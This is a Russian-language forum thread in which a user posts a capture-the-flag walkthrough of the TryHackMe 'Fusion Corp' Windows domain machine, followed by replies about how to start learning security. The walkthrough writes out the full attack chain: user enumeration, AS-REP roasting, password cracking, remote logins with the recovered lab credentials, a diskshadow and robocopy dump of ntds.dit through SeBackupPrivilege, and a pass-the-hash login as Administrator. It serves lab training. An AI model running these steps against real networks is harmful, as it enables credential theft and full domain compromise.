HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 23.04.2022, 02:22
QuietMoth1
Новичок
Регистрация: 18.10.2020
Сообщений: 0
С нами: 2931764

Репутация: 0
По умолчанию



Привет форум!
Предисловие
Давно мы с вами не виделись! На этот раз попробуем другую площадку, известную для всех новичков - TryHackMe!
В этой лаборатории мы разберём Hard машину под названием - Fusion Corp, найдем способ получить пользовательские хэши и неменее интересный способ повышения привилегий до Администратора через групповые привилегии!
Приступим!
Данные
Задача: Скомпрометировать машину на Windows (Active Directory) и забрать два флага user.txt и root.txt.
Основная рабочая машина: Kali Linux 2022.1
IP адрес удаленной машины - 10.10.218.247
IP адрес основной машины - 10.8.57.55
Начальная разведка и сканирование портов
Запустим Nmap с параметрами -sC и -sV для сканирования нашего хоста:

Код:
nmap -sC -sV 10.10.125.118


Видим доменное имя - fusion.corp, добавим его в /etc/hosts.
Из интересных портов и служб на них можем приметить сразу несколько:
  • 80/tcp - HTTP - (Microsoft IIS httpd 10.0)
  • 88/tcp - Kerberos (Можно попробовать метод kerberoasting для найденных пользователей)
  • 445/tcp - Samba - (Enum4linux в помощь и перебор сетевых шар)
  • 3268/tcp - LDAP - (Есть вариант провести его разведку)
  • 3389/tcp - RDP - (Вход на удаленный рабочий стол)
Пойдем более лёгким путем, для начала попробуем собрать пользователей и попробуем реализовать атаку на AS_REP кербероса.
Попробуем использовать уже известную нам утилиту - Enum4linux для сбора информации о машине.

Код:
enum4linux -a 10.10.125.118


Но к сожалению, наш инструмент не смог справиться из-за недостатка привилегий на сервере.
Тогда как мы знаем что у нас открыт 80 порт - HTTP, зайдем на веб-сервер и посмотрим интересную информацию уже там!



Нас встречает довольно красивый по дизайну сайт, спустимся ниже...
И здесь мы найдем сотрудников этой корпорации.



Конечно мы можем записать их в файл, а потом сгенерировать из них словарь для брута, но поищем что-нибудь поинтереснее, допустим - директории и файлы на сервере)
Запустим наш - Dirsearch и посмотрим его вывод.

Код:
dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp,aspx -t 50 -u http://10.10.125.118/


И сразу же видим директорию - /backup/
Давайте перейдем туда и посмотрим какие файлы содержит эта папка...



Здесь лежит файл, а скорее таблица с пользователями (сотрудниками) этой компании, давайте скачаем его и посмотрим его содержимое.



Здесь мы видим список пользователей и их никнеймы, теперь давайте скопируем их ники в файл и проверим их валидность в kerbrute.

Код:
./kerbrute userenum -d fusion.corp --dc fusion.corp users.txt


Здесь мы видим только одного пользователя - Larry Parker (lparker)
Получение доступа к пользователям
Теперь нам стоит проверить его на уязвимость, подставим файл с пользователями в модуль impacket'а - GetNPUsers:

Код:
impacket-GetNPUsers fusion.corp/ -dc-ip 10.10.125.118 -usersfile users.txt


Есть! Мы получили хэш-пароль пользователя - lparker.
Сохраняем его в файл и брутим с помощью - JohnTheRipper.



Спустя считанные секунды мы получили его креды - lparker:!!abbylvzsvs2k6!
Попробуем зайти через Evil-WinRM на машину нашего пользователя...

Код:
evil-winrm -i 10.10.125.118 -u lparker -p '!!abbylvzsvs2k6!'


Есть! Мы в системе!
Получение Администратора

Далее наши шаги могли бы начинаться с чего-то более простого, например загрузки сюда WinPeas или открытие Meterpreter сессии для последующей подгрузки модулей...
Но для начала проверим более простые способы, может пароль скрывается в информации
Код:
net user
или наш пользователь добавлен в интересные для наших целей группы.
Давайте-же проверим

Код:
net users


Код:
net user Administrator


И только как я "напал" net user'ом на пользователя - jmurphy, я получил его пароль в комментарии к его аккаунту.

Код:
net user jmurphy


Итак, мы нашли ещё одни креды - jmurphy:u8WC3!kLsgw=#bRY.
Теперь зайдем уже на него с Evil-WinRM.

Код:
evil-winrm -i 10.10.125.118 -u jmurphy -p 'u8WC3!kLsgw=#bRY'


Получилось! Мы jmurphy! Заберем наш флаг в C:\Users\jmurphy\Desktop\flag.txt



Далее стоит проверить наши права и локальные группы в которых мы состоим, в этом нам поможет команда
Код:
whoami
, а именно её аргумент
Код:
/all
.



Среди этого большого куска информации, мы можем обнаружить привилегию на создание системных бэкапов - SeBackupPrivilege.
Немного погуглив я наткнулся на статью - в которой говорится про повышение прав из-за этой привилегии.
Давайте попробуем реализовать это на нашей машине
Я буду использовать - Метод №1 - Disk Shadow+ Robocopy.
Вкратце про него можно сказать так, Disk Shadow создает бэкап на отдельный диск и скачивает туда базу - ntds.dit.

Далее Robocopy копирует её, а после можно скачать себе на локальную машину. Приступим!


Первое что нужно сделать, это создать скрипт на своей машине, чтобы Disk Shadow выполнил его, содержимое скрипта -
Код:
back_script.txt
:

Код:


Код:
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

Далее скачиваем его на нашу уязвимую машину, с помощью встроенной функции Evil-WinRM'а -
Код:
upload
Код:
upload back_script.txt


Далее запускаем скрипт:

Код:
diskshadow /s back_script.txt


Бэкап был успешно создан и перемещен на диск E:\
Теперьс папки
Код:
C:\Windows\Temp
скопируем базу ntds.dit.


Код:
robocopy /b E:\Windows\ntds . ntds.dit


Далее сохраняем его в реестре:

Код:
reg save hklm\system C:\Windows\temp\system


Теперь смотрим файлы и видим два заветных файла:



Скачиваем их через фичу от Evil-WinRM под названием -
Код:
download


Далее после скачивания, мы можем достать хэши паролей пользователей с помощью impacket-secretsdump:

Код:
impacket-secretsdump -ntds ntds.dit -system system LOCAL


Ура! Мы смогли достать хэш-пароль Администратора, теперь нам осталось подставить его в аргумент
Код:
-H
у Evil-WinRM и зайти в админа:

Код:
evil-winrm -i 10.10.218.247 -u Administrator -H '9653b02d945329c7270525c4c2a69c67'


Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду
 
Ответить с цитированием

  #2  
Старый 25.04.2022, 13:43
ALEXANDROV
Новичок
Регистрация: 25.04.2022
Сообщений: 0
С нами: 2134378

Репутация: 0
По умолчанию

hello, I have registered for the first time, please tell me the initial stages, some book maybe or sites, I want to go to study as a programmer, I was advised by your website that it is filled with good content.
 
Ответить с цитированием

  #3  
Старый 25.04.2022, 13:44
ALEXANDROV
Новичок
Регистрация: 25.04.2022
Сообщений: 0
С нами: 2134378

Репутация: 0
По умолчанию

Цитата:

ALEXANDROV сказал(а):

hello, I have registered for the first time, please tell me the initial stages, some book maybe or sites, I want to go to study as a programmer, I was advised by your website that it is filled with good content.

Я сам русско говорящий
 
Ответить с цитированием

  #4  
Старый 25.04.2022, 14:04
QuietMoth1
Новичок
Регистрация: 18.10.2020
Сообщений: 0
С нами: 2931764

Репутация: 0
По умолчанию

Цитата:

ALEXANDROV сказал(а):

hello, I have registered for the first time, please tell me the initial stages, some book maybe or sites, I want to go to study as a programmer, I was advised by your website that it is filled with good content.

Hello, I can advise TryHackMe to start with, namely its modules, they give a basic understanding of vulnerabilities and systems, start learning Linux slowly, you won’t go far on one python) Then read about the most popular types of vulnerabilities and their exploitation, you can use BurpSuite, on off. You can find a free course on it on Portswigger.net, and then you can try HackTheBox.
 
Ответить с цитированием

  #5  
Старый 25.04.2022, 16:41
ALEXANDROV
Новичок
Регистрация: 25.04.2022
Сообщений: 0
С нами: 2134378

Репутация: 0
По умолчанию

Цитата:

QuietMoth1 сказал(а):

Hello, I can advise TryHackMe to start with, namely its modules, they give a basic understanding of vulnerabilities and systems, start learning Linux slowly, you won’t go far on one python) Then read about the most popular types of vulnerabilities and their exploitation, you can use BurpSuite, on off. You can find a free course on it on Portswigger.net, and then you can try HackTheBox.

Thank you, please give me links to all the material
 
Ответить с цитированием

  #6  
Старый 25.04.2022, 16:46
ALEXANDROV
Новичок
Регистрация: 25.04.2022
Сообщений: 0
С нами: 2134378

Репутация: 0
По умолчанию

And where to download a course on Linux
 
Ответить с цитированием

  #7  
Старый 25.04.2022, 16:47
ALEXANDROV
Новичок
Регистрация: 25.04.2022
Сообщений: 0
С нами: 2134378

Репутация: 0
По умолчанию

Цитата:

ALEXANDROV сказал(а):

Thank you, please give me links to all the material

And where to download a course on Linux
 
Ответить с цитированием

  #8  
Старый 28.04.2022, 16:31
Дмитрий Собянин
Новичок
Регистрация: 26.04.2020
Сообщений: 0
С нами: 3183976

Репутация: 0
По умолчанию

Атака только из локальной сети возможна ?
 
Ответить с цитированием

  #9  
Старый 28.04.2022, 16:33
QuietMoth1
Новичок
Регистрация: 18.10.2020
Сообщений: 0
С нами: 2931764

Репутация: 0
По умолчанию

Цитата:

Дмитрий Собянин сказал(а):

Атака только из локальной сети возможна ?

Смотря какая атака и какие порты прокинуты
 
Ответить с цитированием

  #10  
Старый 06.05.2022, 13:53
Дмитрий Собянин
Новичок
Регистрация: 26.04.2020
Сообщений: 0
С нами: 3183976

Репутация: 0
По умолчанию

Цитата:

QuietMoth1 сказал(а):

Смотря какая атака и какие порты прокинуты

Написал вам в лс.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.